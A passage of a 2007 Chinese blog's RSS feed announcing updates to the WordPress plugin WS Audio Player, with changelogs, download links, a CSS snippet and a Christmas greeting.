<p>今天已经是平安夜，这里先祝大家圣诞节快乐！<br />
这也算是我送给大家的圣诞节小礼物吧。</p>
<p>做圣诞专题板子的朋友这里还有一份礼物：<a href="http://www.namipan.com/d/XmasMaterial.zip/6208cfc1a329e2333bc1d9f07e792d9e7e93e8b1858e2300" target="_blank">XmasMaterial.zip</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2007/12/wordpress-plug-ins-ws-audio-player-095-released/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>WordPress插件：WS Audio Player0.9.4</title>
		<link>http://icyleaf.com/2007/11/wordpress-plug-ins-ws-audio-player094/</link>
		<comments>http://icyleaf.com/2007/11/wordpress-plug-ins-ws-audio-player094/#comments</comments>
		<pubDate>Wed, 28 Nov 2007 01:23:11 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[SVN]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2007/11/27/wordpress%e6%8f%92%e4%bb%b6%ef%bc%9aws-audio-player094/</guid>
		<description><![CDATA[这个版本本来并不需要再发日志发布，只不过是前不久我向WordPress官方插件库提交插件，昨天收到了SVN地址，今天本插件在官方插件库已经有一脚之地咯～呼呼~ 更新日志： 增加了英语语言的支持。 插件下载地址：http://wordpress.org/extend/plugins/ws-audio-player/]]></description>
			<content:encoded><![CDATA[<p>这个版本本来并不需要再发日志发布，只不过是前不久我向<a href="http://wordpress.org/extend/plugins" target="_blank">WordPress官方插件库</a>提交插件，昨天收到了SVN地址，今天本插件在官方插件库已经有一脚之地咯～呼呼~<br />
<img src="http://photo14.yupoo.com/20071128/091431_861815115.jpg" alt="WS Audio Player" width="490" height="320" /></p>
<p>更新日志：<br />
增加了英语语言的支持。</p>
<p>插件下载地址：<a href="http://wordpress.org/extend/plugins/ws-audio-player/">http://wordpress.org/extend/plugins/ws-audio-player/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2007/11/wordpress-plug-ins-ws-audio-player094/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>WordPress插件：WS Audio Player 0.9.3修正版</title>
		<link>http://icyleaf.com/2007/11/plugins-ws-audio-player-093-amended-version/</link>
		<comments>http://icyleaf.com/2007/11/plugins-ws-audio-player-093-amended-version/#comments</comments>
		<pubDate>Tue, 06 Nov 2007 14:04:22 +0000</pubDate>
		<dc:creator>icyleaf</dc:creator>
				<category><![CDATA[WordPress]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[WS Audio Player]]></category>

		<guid isPermaLink="false">http://www.icyleaf.cn/2007/11/06/pluginsws-audio-player-093%e4%bf%ae%e6%ad%a3%e7%89%88/</guid>
		<description><![CDATA[WS Audio Player 0.9版本有一个严重的问题，在FEED里面样式无效，因此特添加FEED下的显示效果，由于FEED的限制，只能做一个简单的语言描述。 另外修正了几个CSS的显示问题：字体偏小，某些时候会发生错位，覆盖其他文字等现象。 安装及使用方法还是那样，不明白的看这里。 添加的CSS Style：控制音乐名称的style。 /*******Music Desc********/ .wsmusicdesc { font-size:14px; } WS Audio Player 0.9.3下载：Click here .]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.icyleaf.cn/2007/11/05/plugins-ws-audio-player-09-released/" target="_blank">WS Audio Player 0.9版本</a>有一个严重的问题，在FEED里面样式无效，因此特添加FEED下的显示效果，由于FEED的限制，只能做一个简单的语言描述。<br />
另外修正了几个CSS的显示问题：字体偏小，某些时候会发生错位，覆盖其他文字等现象。<br />
安装及使用方法还是那样，不明白的看<a href="http://www.icyleaf.cn/2007/11/05/plugins-ws-audio-player-09-released/" target="_blank">这里</a>。</p>
<p>添加的CSS Style：控制音乐名称的style。<br />
/*******Music Desc********/<br />
.wsmusicdesc {<br />
font-size:14px;<br />
}</p>
<p>WS Audio Player 0.9.3下载：<a href="http://www.icyleaf.cn/2007/11/05/plugins-ws-audio-player-09-released/" target="_blank">Click here</a> .</p>
]]></content:encoded>
			<wfw:commentRss>http://icyleaf.com/2007/11/plugins-ws-audio-player-093-amended-version/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
	</channel>
</rss>

